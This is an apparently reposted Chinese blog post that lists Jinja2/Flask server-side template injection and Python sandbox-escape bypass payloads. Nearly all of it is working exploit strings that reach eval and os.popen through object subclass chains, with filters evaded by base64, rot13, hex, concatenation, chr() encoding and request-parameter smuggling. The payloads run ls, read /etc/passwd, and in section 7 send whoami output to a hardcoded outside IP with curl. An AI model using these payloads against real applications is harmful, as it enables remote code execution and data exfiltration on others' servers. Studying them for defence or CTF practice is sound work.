zoukankan      html  css  js  c++  java
  • SSTI注入绕过(沙盒逃逸原理一样)

    在python沙盒逃逸中绕过道理是一样的。

    1.python沙盒中删除了很多模块,但是没有删除reload

    reload(__builtins__),重新加载被删除的模块,直接命令执行,只用于py2  
    

    2.直接过滤了敏感字符,如eval,os等。

    {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")}}
    2.1 base64
     
    {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['ZXZhbA=='.decode('base64')]("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64'))}} (可以看出单双引号内的都可以编码) 
    
    2.2 rot13  
    
    {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['riny'.decode('rot13')]("__import__('os').popen('ls').read()")}}  
    2.3 16进制编码  
    
    {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['6576616C'.decode('hex')]("__import__('os').popen('ls').read()")}}   
    2.4  拼接字符串(base64,hex,rot13也可以进行拼接)
    
    过滤了(ls.import.eval.os)   
    {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['e'+'val']("__im"+"port__('o'+'s').popen('l'+'s').read()")}}  
    

    3.过滤了中括号[]

    3.1 getitem() 用来获取序号
    
    "".__class__.__mro__[2]
    "".__class__.__mro__.__getitem__(2)
    
    3.2 fangfa['shuxing']-->fangfa.shuxing,类似于字典  
    
    {{''.__class__.__mro__[2].__subclasses__().__getitem__(59).__init__.__globals__.__builtins__['eval']("__import__('os').popen('cat /etc/passwd').read()")}}  
    {{''.__class__.__mro__[2].__subclasses__().__getitem__(59).__init__.__globals__.__builtins__.eval("__import__('os').popen('cat /etc/passwd').read()")}}(不能直接进入python环境下用,可能是python程序运行的时候会自己加载什么东西。) 
    

    4.过滤了引号' "

    4.1 利用request传值,漏洞形式必须是?name=这种形式的或者说是提交表单用post方式。(这种方法在沙盒逃逸中行不通的,只有web接收参数形式有可能)
      
    {{[].__class__.__mro__[1].__subclasses__()[40](request.args.cat).read()}}&cat=/etc/passwd(类似于过滤了下划线)   
    
    4.2 chr传值  
    
    {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")}}
    {% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{''.__class__.__mro__[2].__subclasses__().__getitem__(59).__init__.__globals__.__builtins__. eval( chr(95) %2b chr(95) %2b chr(105) %2b chr(109) %2b chr(112) %2b chr(111) %2b chr(114) %2b chr(116) %2b chr(95) %2b chr(95) %2b chr(40) %2b chr(39) %2b chr(111) %2b chr(115) %2b chr(39) %2b chr(41) %2b chr(46) %2b chr(112) %2b chr(111) %2b chr(112) %2b chr(101) %2b chr(110) %2b chr(40) %2b chr(39) %2b chr(108) %2b chr(115) %2b chr(39) %2b chr(41) %2b chr(46) %2b chr(114) %2b chr(101) %2b chr(97) %2b chr(100) %2b chr(40) %2b chr(41))}}
    ['eval']这里可以直接用.eval()代替,eval里面的执行的语句,把它全部变为chr()+chr()的形式,最后不要忘记给+编码为%2b
    经过实验我发现只能是里面的执行的语句变为chr()形式,像eval这种不可以。  
    

    5.过滤双下划线__

    利用request传值  
    
    5.1{{()[request.args.class].__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")}}&class=__class__  
    
    5.2将其中的request.args改为request.values则利用post的方式进行传参
    
    GET:{{()[request.args.class].__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")}}
    结合下边的post方式一起
    POST:class=__class___  
    

    6.删除掉了built下边的很多函数,不能命令执行。

    os, eval, import,,一种是自己现引入(__import__('os'.popen('ls').read())),另一种是其他的模块直接能够调用os    
    6.1 <class 'site._Printer'> [71](可以直接调用os模块)  
    {{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}    
    6.2  <class 'warnings.catch_warnings'>[59]   
    open,eval,file,__import__,reload(并没有os.需要用eval配合__import__导入)
    {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")}}
    

    7.过滤{{

    {% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://39.105.116.195:8080/?i=`whoami`').read()=='p' %}1{% endif %}
    

    8.补充一种姿势

    {{().__class__.__base__.__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['popen']('l'+'s').read()}}
  • 相关阅读:
    cf C. Vasya and Robot
    zoj 3805 Machine
    cf B. Vasya and Public Transport
    cf D. Queue
    cf C. Find Maximum
    cf B. Two Heaps
    cf C. Jeff and Rounding
    cf B. Jeff and Periods
    cf A. Jeff and Digits
    I Think I Need a Houseboat
  • 原文地址:https://www.cnblogs.com/zaqzzz/p/10263396.html
Copyright © 2011-2022 走看看